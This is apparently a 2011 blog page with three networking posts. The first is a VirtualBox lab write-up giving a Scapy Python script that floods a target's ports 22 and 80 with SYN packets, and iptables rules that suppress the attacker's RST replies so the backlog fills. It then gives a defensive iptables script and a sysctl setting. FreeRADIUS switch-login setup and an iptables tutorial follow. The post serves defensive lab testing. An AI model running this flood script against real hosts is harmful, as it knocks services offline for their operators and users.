Saturday, May 14, 2011

SYN Packet Generation by Scapy & SYN Flood Prevention using iptables

Recently I played with iptables & got into situation to prevent SYN Floods using iptables. So here is my solution for this. SYN Flood Packet generation is done by Scapy to simulate the DDOS through Multiple Oracle VirtualBox Virtual machines running Ubuntu 10.04 server. Works for me. :)

Attackers Configurations :

I am using three Virtual machines here of Ubuntu Server 10.04 connected through “Hostonly” network adapter of VirtualBox. 192.168.56.102 is Target server, 192.168.56.101 & 192.168.56.103 are Attackers.
Install the Scapy tool for packet generation, I am using 2.2.0 version here. Extract the Scapy source & run the following command

root@ubiserv:~# python setup.py install

run Scapy using
root@ubiserv:~# scapy

For attacking the Target server at 192.168.56.102, insert the following rule into the Attacker’s systems i.e. at 192.168.56.101 & 192.168.56.103

root@ubiserv:~# iptables –A OUTPUT –p tcp –s 192.168.56.101 --tcp-flags RST RST –j DROP
root@ubiserv:~# iptables –A OUTPUT –p tcp –s 192.168.56.103 --tcp-flags RST RST –j DROP 

Note - Iptables rules will only apply to kernel stack, not above that. For ex. the iptables rule will not apply to packets generated by Scapy. Scapy packet crafting tool creates the whole packet in its space, hence iptables rule will not hold here. Though the malformed/manipulated packets crafted by Scapy will be seen by Kernel, resulting in replies/responses/resets from Kernel. This can be prevented by using iptables, so that kernel will not respond to scapy packets. After sending the SYN packets to Target the Attacker’s Kernel will try to respond it by RST packets as this communication is not initiated by Kernel. We have to block this otherwise the Buffer of Target will not get full.

This rule will DROP the packets from 192.168.56.101/103 on OUTPUT chain with RST flag set, preventing from resetting the connection.
Run the python script on the Attackers systems to send malformed SYN connections to Target with custom ttl & id values.

SYN_Flood_Scapy.py script contents
#! /usr/bin/env python
# Name : Subodh Pachghare
# CyberSpace Name : HaX0R (Cyberninja)
# Website : www.thesubodh.com
# Description : SYN Flood Packet creation for iptables prevention solution
import sys
from scapy.all import *
#conf.verb=0
print "Field Values of packet sent"
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ls(p)
print "Sending Packets in 0.3 second intervals for timeout of 4 sec"
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
print "Summary of answered & unanswered packets"
ans.summary()
unans.summary()
print "source port flags in response"
#for s,r in ans:
# print r.sprintf("%TCP.sport% \t %TCP.flags%")
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%")))

SYN Flood python script can be downloaded here.
This will generate the SYN packets to target with id=1111 & ttl=99
Usage of script will be like this
root@ubiserv:~# python SYN_Flood_Scapy.py 192.168.56.102

This script sends the SYN connections to the 22 & 80 port from random source port numbers using randshort() function present. Script will also provide the detail of the crafted packet for the purpose of attack. At last the script reports SA (SYN-ACK) responses & gives result in answered & unanswered packages. Reply back to SA shows that target responded with SYN-ACK but not sent any communication or RST back. So the Target thinks the SA was lost or did not reached to Initiator hence it keeps sending it back. The connection on target server remains in SYN_RECV condition. The SYN_RECV condition for each port remains for 3 minutes as per the net.ipv4.tcp_synack_retries parameter. This is set to 5 in Linux & then Kernel closes it. This is SYN Flood condition. The Million’s of unanswered SYN requests to Target can cause the buffer to get filled up completely, unable to serve the legit clients as there is no memory resources left. This is Typical DDOS (Distributed Denial of Service) attack initiated in real scenario from multiple IP addresses across the globe. Retrospectively speaking, these kinds of attacks are generally carried out with the help of BOTNETS or other compromised systems.

Prevention Measures on Target Server :

For prevention of this I have created a shell script to fulfill my needs of iptables automatically. This solution will reject all the suspicious TCP connections with TCP RST Flag i.e. reset packet to prevent the potential DDOS scenario. 25 attempts from every single IP address is allowed to take care of Packet loss, After that SYN Packets from these IP will be rejected under intentional flooding case & IP address logged for tracking purpose. The time interval has to be specified with the script to check for connections, basically for given time interval the script goes into sleep. For more IP connections observed it is recommended that to use lower seconds.

Use script like this
root@ubiserv:~# ./SYN_Flood_Prevention.sh 4

This will also log the number of connections made & IP address into log file.

SYN_Flood_Prevention.sh  script Contents
# Name : Subodh Pachghare
# CyberSpace Name : HaX0R (Cyberninja)
# Website : www.thesubodh.com
# Description : SYN Flood Prevention using iptables against Scapy SYN packets generated
> /var/log/DDOS_IP.log
> /tmp/test1.txt
> /tmp/test2.txt
trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables entries cleared;echo HaX0R SVP" EXIT
while true;
do
date >> /var/log/DDOS_IP.log
netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c >> /var/log/DDOS_IP.log
for pip in `netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq`
do
conntrack=`netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | grep $pip | wc -l`;
while read line
do
if [ "$line" = "$pip" ]
then
continue 2
fi
done < /tmp/test2.txt
if [ "$conntrack" -gt "25" ]
then
iptables -I INPUT -s $pip -p tcp -j REJECT --reject-with tcp-reset
echo "$pip" >> /tmp/test1.txt
fi
done
cat /tmp/test1.txt | sort | uniq > /tmp/test2.txt
sleep $1
done

Iptables shell script can be downloaded here.
Complete Zip file of files related to this topic including Scripts, tcpdump packet captures, pdf of this post etc can be found here in Complete ZIP File.

EXIT signal (^C) will cause the script to Flush all the iptables chain to clear the configuration for prevention of SYN Flood. The topology diagrams are given below. Also find the snapshot for the Scapy SYN packet output at the shell prompt. These scripts are generated according to my requirements.

Kernel configuration :

Further the SYN_ACK retries also has to be modified to the lower values, so that the SYN_RECV state connections will get closed quickly. The parameter need to be set is net.ipv4.tcp_synack_retries . This has default value of 5 in Linux. 5 SYN_ACK retries will cause the older port connections to close in 3 minutes, resulting in lots of stale connections & memory resource consumption. This can be reduce to 1 so that the older SYN_RECV connections will close in 10 seconds if no reply is received from initiator. Set the parameter using the following way.

Add the following line to /etc/sysctl.conf
net.ipv4.tcp_synack_retries = 1

Commit the changes made in sysctl using
root@ubiserv:~# sysctl –p /etc/sysctl.conf

Verify it using
root@ubiserv:~# cat /proc/sys/net/ipv4/tcp_synack_retries
1
root@ubiserv:~#

Now the old connections will end in 10 sec as only one SYN_ACK retry sent. So this is it for SYN Flood prevention. I will post more about iptables in later posts.Please drop me a mail if you think to use this & of course for any suggestions or problems. Mail can be found in Contact Me section. Happy rooting.

Click on the following images for Full Size.

Attack Scenario


Prevention


Snapshot : Scapy python script output on Attackers system

Thursday, May 12, 2011

FreeRadius Server Configuration for Enterasys management access & Switch Configuration

Access management to Switches/Routers is very tedious when you are managing 100's of network devices with ever changing passwords for exacting Security. Solution to this is to deploy Radius server for management access to switches like Telnet,SSH or Console access. Free-Radius is open source Radius server for implementation on Linux. Open-Source Goodness. :)

Note - This configuration is only for Management access control to switches/routers, i.e. for telnet,SSH or Console access to switch. This has nothing to do with clients connecting through switch, hence not meant for Client authentication.

Activity flow -

1) Network Switch with Radius server IP, Port & secret key set & management access realm setting
2) Radius Server with authorized client entries in "clients.conf" & respective secret keys
3) "users" file at Radius server with common credential specified to use accross all devices, Filter-id has to be set here for Enterasys profile
4) Radius timeout & Switch Lockout entries
5) Local credential setting at network devices in case the Radius server is not reachable.

Configuration -
Test switch IP - 192.168.1.1
Radius Server IP - 192.168.1.200

Free-Radius version - freeradius-server-2.1.10
L2/L3 Switch - Enterasys C3 switch

FreeRadius Configuration on Linux -

Files involved in configuration & there changes
Default path to find all these files will be /usr/local/etc/raddb

1) clients.conf
add the following into the file

client 192.168.1.1
{
secret = secret!23
shortname = private_switch
}
or for subnet

client 192.168.1.1/24
{
secret = secret!23
shortname = private_switch
}

2) users
add following user into the file

"admin"   Cleartext-Password := "rdpassword"
Filter-id = "Enterasys:version=1:mgmt=su"
OR
admin Auth-Type := Local, User-Password == "rdpassword"
Filter-id = "Enterasys:version=1:mgmt=su"

Here add the username used for login in the quotes. Password specified in present there as "rdpassword". Now the Filter-id for Enterasys needs to be specified there. For management access the policy profile is specified as following string. The Filter-ID attribute is simply the string sent back to switch in Access-Accept packet. This decides the level of access given to user in return such as su,rw or ro. Same can also be used to specify Policy & Level of access.Also check the proxy.conf for any realm related settings. RADIUS proxying can be used to forward the Access-Request to another RADIUS server.
Shortname is only for the purpose of logging.
Run the Radius in Debug mode for first time using

radiusd -X

It will wait for request after successfull start-up.
By default the radius server will listen on port 1812 for request. Check the port by using

lsof -i :1812

you will find it on UDP portocol.

Switch Configuration on Enterasys C3 -

Add the Radius server details

C3(su)->set radius server 1 192.168.1.200 1812 secret!23
C3(su)->set radius realm management-access 1
C3(su)->set radius enable
C3(su)->show radius
RADIUS status: Enabled
RADIUS retries: 10
RADIUS timeout: 5 seconds
RADIUS       Server IP Address Auth-Port   Realm-Type
--------------            ----------            ---------     -----------------
1                         192.168.1.200        1812    management-access
C3(su)->set radius timeout 30
C3(su)->show radius timeout
RADIUS timeout: 30 seconds
C3(su)->show radius
RADIUS status: Enabled
RADIUS retries: 10
RADIUS timeout: 30 seconds
RADIUS       Server IP Address Auth-Port   Realm-Type
--------------            ----------            ---------     -----------------
1                         192.168.1.200        1812    management-access
C3(su)->
Here the radius server index is 1 for this entry.
Management access is enabled for this entry, not network-access.

If the Radius server is not reachable then the Authentication will fall back to local switch authentication, after specific time interval. If the Radius server does not reply within this time-frame then we have to use local credentials to login into the switch. It depends upon the precedence provided. By Default it is TACACS+, Radius & then Local.
Now you can use the password defined "rdpassword" on all switches for Admin login.

Saturday, May 7, 2011

Linux iptables (Best Kernel Firewall ever!) configurations

Hi guys, Just some basic iptables stuff to get with it. Later on I will post about some DDOS (Distributed Denial of service) attack prevention using iptables & Detection of port scans using iptables & similar things.
The Netfilter is Linux kernel Firewall module applying all the rules to the kernel packets. Iptables is rule management for that.

Note - Iptables rules will only apply to kernel stack, not above that. For ex. the iptables rule will not apply to packets generated by Scapy. Scapy packet crafting tool creates the whole packet in its space, hence iptables rule will not hold here. Though the malformed/manipulated packets crafted by scapy will be seen by Kernel, resulting in replies/responses/resets from Kernel. This can be prevented by using iptables, so that kernel will not respond to scapy packets. More about this you find in upcoming Scapy post.

Five pathways implemented by the iptables/netfilter :
a. PREROUTING - Packets arrving on the Network Interface
b. INPUT - Just before they are delivered to the local process
c. FORWARD - Coming in one interface and going right back out another interface likewsie for a Gateway computer
d. POSTROUTING - Just before they leave the Network Interface
e. OUTPUT - Just after they get generated by the local process

Iptables comes with 3 tables :
a. filter - Used to set policies for the traffic entering or leaving the system. By default Iptables respond to this type of table. Three chains involved - FORWARD,INPUT,OUTPUT
b. nat - Used with connection tracking to redirect connections for network address translations. Its built-in chains are: OUTPUT, POSTROUTING, and PREROUTING.
c. mangle - Used for specialized packet alteration, such as stripping off IP options. Its built-in chains are: FORWARD, INPUT, OUTPUT, POSTROUTING, and PREROUTING.

Three kind of operations that can be done for the rule matched packets :
a. DROP - Discard the packet as if it had never received packet.
b. ACCEPT - Accept the packet.
c. REJECT- Discard the packet but tell the source that he did so.

General iptables operations :
a. iptables-save - To make the rules permanent
b. iptables-restore - To restore the previous iptables configuration
c. iptables -L - To list iptables rules on all chains
d. iptables -F - To flush all iptables rules
e. iptables -L INPUT -v - To see a rule on the CHAINS in verbose mode use

Rules are matched for the packets , next rule is matched and if no rule is matched then it looks for chain POLICY, this is usually rule set to drop the packet. Much like the ACL's we implement in Switches/Routers.
-j is used to jump to the POLICY given after the rule matching (for ex. -j DROP = jump to drop)

Manipulation and Chain commands are Capital whereas the -s,-j,etc are in small caps

Iptables configurations & examples :

1. To drop all the incoming packets use this rule
iptables -A INPUT -s 0/0 -j DROP

2. To deny all packets going outside use this
iptables -A OUTPUT -s 0/0 -j DROP 

for example, to apply rules to all packets except from the localhost interface use this
-s ! localhost 

or to exclude UDP for filtering, use this
-p ! UDP 

Lets say to match all the PPP links present
-i ppp+

INPUT chain always have -i i.e. input interface
OUTPUT chain always have -o i.e. output interface
FORWARD chain can have both interfaces i.e. -i & -o

3. To drop all packets originating from local process to the destination IP address use this
iptables -A OUTPUT -d 192.168.56.1 -j DROP 

Now this will give the "operation not permitted response" when you try to ping the destination IP address
iptables -A OUTPUT -d 192.168.56.1 -j REJECT

This will generate "Destination Host Unreachable" response
Hence the type of filtering is different for both as DROP didn't reply back to sender host using ICMP.
REJECT sends back the ICMP message to apprise the Sender

4. To drop the fragmented packets only for the destination IP, use this
iptables -A OUTPUT -f -d 192.168.56.1 -j DROP 

but usually fragments i.e second and third packets are allowed to go through, as the rule matches only to the first packet which is treated as like any other packet

--syn is used when the protocol used is TCP, this is short for --tcp-flags SYN,RST,ACK SYN
in SYN packet FIN,ACK flags are cleared and only SYN is set.

5. To deny all TCP connection attempts from 192.168.56.1,use following pattern
iptables -A OUTPUT -s 192.168.56.1 -p tcp --syn -j DROP

This ruleset is applied to OUTPUT chain & this will REJECT all the syn connection originating from 192.168.56.1
As the chain used is OUTPUT chain the source IP will be the interface IP of the computer on which this rule is applied or the syn intended for this IP address from the system will be droped.
This is useful in event when we do not want the users to initiate an TCP connection.

6. On the destination network
iptables -A INPUT -s 192.168.56.2 -p tcp --syn -j DROP 

This is on the 192.168.56.1 box this will not accept any tcp connection from remote host i.e 192.168.56.2
In this case the kernel with this rule will reject all connections coming from 192.28.56.2 IP for TCP SYN flag connection

To get any kind of help for iptables, use this
iptables -p icmp --help

7. To drop all packets from specific MAC address, use following rule
iptables -A INPUT -m mac --mac-source <mac id> -p icmp -j DROP 

this will drop packets coming from mac id specified.

8. To drop all TCP SYN attempts from specific MAC address, use rule
iptables -A INPUT -m mac --mac-source <mac id> -p tcp --syn -j DROP 

This rule will prevent any tcp connection initiation from specified MAC Address

Source Port or Destination port parameters can also be used for filtering i.e. --sport/--dport

We can also use iptables for routing purpose to send some tyical connections to the specified IP & port i.e. --to-destination ip:port . This is useful in case of Kernel based redirection.

9. To calculate all The packets & Bytes from the system using CHAIN patterns use this
iptables -A FORWARD -i eth1
iptables -A FORWARD -o eth1
iptables -A INPUT -i eth1
iptables -A OUTPUT -o eth1

This is for gateway where the eth0 is for internal network and the eth1 is for Internet. This will provide all the granular details of packets at the interface.
for monitoring use
iptables -L INPUT -v 
iptables -L OUTPUT -v
iptables -L FORWARD -v

10. To drop all connections made to the port 22 from any IP address
iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j DROP

11. To accept connections from single IP address to port 22 for SSH connection from single host only
iptables -I INPUT -i eth0 -p tcp --dport 22 -s 192.168.0.1 -j ACCEPT

This is really good rule for security measures resulting in less SSH attacks. We can also specify IP ranges here.
-m option used in the Iptables is used to do some extra pattern matching using the extension modules that can be loaded.

12. To block the RST packets sent from the box in OUTPUT chain following command can be used. This can be tested by using the Scapy Packet crafting tool.
iptables -A OUTPUT -p tcp -s 10.10.10.2 --tcp-flags RST RST -j DROP

--tcp-flags must have 2 parameters, i.e. RST RST
This will DROP all the RST flag packets generated from the source IP 10.10.10.2 arriving at OUTPUT chain.
More details on Iptables I will be posting in later posts.